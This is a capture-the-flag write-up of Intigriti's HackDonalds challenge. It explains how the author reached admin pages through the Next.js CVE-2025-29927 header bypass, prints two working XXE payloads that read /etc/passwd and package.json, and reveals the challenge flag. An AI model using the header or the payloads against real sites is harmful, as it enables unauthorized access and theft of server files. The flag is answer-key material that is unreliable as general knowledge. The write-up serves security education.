Hackdonalds - Intigriti

Target: https://hackdonalds.intigriti.io Vulnerabilities:

• Authorization Bypass via Next.js Middleware (CVE-2025-29927)

• XML External Entity (XXE) Injection

---

Overview

During a security assessment of the HackDonalds platform, we uncovered two critical issues:

1. Next.js Middleware Authorization Bypass allowed unauthenticated access to admin endpoints.

2. XML External Entity (XXE) injection enabled us to read sensitive server-side files.

These flaws allowed full access to administrative pages and sensitive files, eventually leading to flag exposure.

---

Step-by-Step Exploitation

1. Admin Bypass via X-Middleware-Subrequest

By leveraging CVE-2025-29927, we added the following HTTP header to our requests:

X-Middleware-Subrequest: middleware

Using Burp Suite's match-and-replace, we injected this header to bypass login controls.

This allowed direct access to /admin and the Ice Cream Machine configuration pages without authentication.

---

2. Discovering XXE Vulnerability

Once inside the admin panel, we accessed the machine configuration XML editor.

We injected a standard XXE payload to test file disclosure:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE machine [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<machine>
  <id>1</id>
  <name>&xxe;</name>
  <temperature>-18</temperature>
  <mixLevel>75</mixLevel>
  <lastMaintenance>2025-03-15</lastMaintenance>
  <cleaningSchedule>Daily</cleaningSchedule>
</machine>

This successfully leaked contents of /etc/passwd.

The response confirmed XXE was exploitable, revealing /etc/passwd contents.

---

3. Extracting Sensitive File for Flag

To locate the CTF flag, we attempted to load package.json—a common file in Node:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE machine [
  <!ENTITY xxe SYSTEM "package.json">
]>
<machine>
  <id>1</id>
  <name>&xxe;</name>
  <temperature>-18</temperature>
  <mixLevel>75</mixLevel>
  <lastMaintenance>2025-03-15</lastMaintenance>
  <cleaningSchedule>Daily</cleaningSchedule>
</machine>

The XML parser disclosed the file contents, including the flag:

Flag:

INTIGRITI{XXE_1n_Ic3Cr34m_M4ch1n3s}

---

Impact

• Unauthorized Access: The middleware bypass allows admin access without valid authentication.

• Sensitive Data Disclosure: XXE enables extraction of local files (e.g., /etc/passwd and package.json), leading to flag disclosure.

• Potential System Compromise: Administrative access and file disclosure pave the way for further escalations.

---

Takeaways

• Misconfigured middleware headers can lead to severe privilege escalation

• Even seemingly harmless XML parsers can be abused if not properly secured

• Always sanitize user-controlled input before XML parsing